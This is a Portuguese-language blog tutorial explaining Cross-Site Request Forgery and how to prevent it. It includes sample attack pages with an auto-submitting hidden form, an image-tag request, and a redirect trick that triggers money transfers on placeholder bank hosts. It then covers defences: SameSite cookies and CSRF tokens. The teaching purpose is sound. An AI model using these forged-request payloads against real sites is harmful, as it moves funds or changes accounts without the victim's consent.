Entendendo Cross-Site Request Forgery (CSRF ou XSRF).

Privacidade e Segurança

Entendendo Cross-Site Request Forgery (CSRF ou XSRF)

Os passos que você precisa seguir para aumentar a segurança de seus servidores web.

💡 Se você ainda não leu o último artigo desta série, “Requisições GET e POST de maneira segura usando PHP”, eu sugiro que você o faça, pois, alguns conceitos de Requisições HTTP, e de como estas funcionam, podem ser necessários para compreender os próximos conceitos — e, também, podem ajudar a aumentar a segurança de suas páginas web.

Introdução

Conversa utilizando latas e barbante.
Conversa utilizando latas e barbante. Imagem: Wannapik.

Como o CSRF funciona

Diagrama exibindo o fluxo de informações em um ataque CSRF.
Imagem: Souza, 2009.

Exemplo #1: método HTTP POST

<html>
<body>
<form id="evil-form" action="http://my.trustful.bank/transfer?amount=123&account=stevie" method="POST">
<button type="submit">Click here</button>
</form>
</body>
</html>

💡 Esta não é uma boa prática, portanto acredito que seu banco (real) está seguro, e protegido contra isto. Se não estiver, assim como a qualquer outro servidor web, as consequências podem ser devastadores, o que pode gerar alguns problemas legais, uma vez que este não esteja cumprindo com o que preceitua a maioria das Normas de Privacidade e Proteção de Dados, como a GDPR 🇪🇺 e a LGPD 🇧🇷 atualmente.

Exemplo #2: Comportamento automático

<html>
<body onload="document.getElementById('evil-form').submit();">
<form id="evil-form" action="http://my.trustful.bank/transfer" method="POST">
<input type="hidden" name="account" value="stevie"></input>
<input type="hidden" name="amount" value="123"></input>
<button type="submit">Click here</button>
</form>
</body>
</html>

Exemplo #3: Sem web forms

<html>
<body>
<img src="http://my.trustful.bank/transfer?amount=123&to=stevie" />
</body>
</html>
Redirect 302 /a.jpg https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456
GET /a.jpg HTTP/1.0
Host: ha.ckers.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3
Accept: image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://somebank.com/board.asp?id=692381
HTTP/1.1 302 Found
Date: Fri, 23 Mar 2007 18:22:07 GMT
Server: Apache
Location: https://somebank.com/transferfunds.asp?amnt=1000000&acct=123456
Content-Length: 251
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title></head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://somebank.com/transferfunds.asp?amnt=1000000&amp;acct=123456">here</a>.</p>
</body></html>

Ataques CSRF e/ou XSS

Fragmento de um perfil na rede social MySpace, em 2005.
Fragmento do perfil de Kamkar no MySpace, exibindo quantos amigos ele possuía após seu script, em 2005. Imagem: VICE.

💡 O Cross-Site Request Forgery é também conhecido por XSRF, além de CSRF, seguindo a regra do acrônimo para Cross-Site Scripting (XSS). A razão mais provável para isso é com fins de evitar a confusão com Cascading Style Sheets, utilizado para estilizar páginas web, cujo acrônimo também é CSS.

Como prevenir ataques CSRF

Set-Cookie: TOKEN=1bf3dea9fbe265e40d3f9595f2239103; Path=/; SameSite=lax

💡 Se você estiver lidando com dados pessoais sensíveis, tais como aqueles usados para autenticação de usuários, em seu servidor web, você deve setar um prazo de vida curto para os HTTP Cookies. Também, você deverá setar o atributo SameSite para Strict ou Lax, para que uma requisição não-autenticada não seja efetivamente remetida ao servidor web.

<html>
<body>
<form id="good-form" action="http://my.trustful.bank/transfer" method="POST">
<input type="hidden" name="token" value="1bf3dea9fbe265e40d3f9595f2239103"></input>
<input type="text" name="account" value="stevie"></input>
<input type="text" name="amount" value="123"></input>
<button type="submit">Submit</button>
</form>
</body>
</html>
<?php
$_SESSION['token'] = bin2hex(random_bytes(16)); // 1bf3dea9fbe265e40d3f9595f2239103
?>
var token = readCookie(TOKEN);                       // Obtém o HTTP Cookie que definimos previamente, identificado como "TOKEN"
httpRequest.setRequestHeader('X-CSRF-Token', token); // Então, o enviamos como uma informação de cabeçalho "X-CSRF-Token"

Próximos passos 🚶

--

--

Pesquisador de Direito Digital. Desenvolvedor Full Stack. Escreve sobre direito, inovação, e programação.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Danilo César

Pesquisador de Direito Digital. Desenvolvedor Full Stack. Escreve sobre direito, inovação, e programação.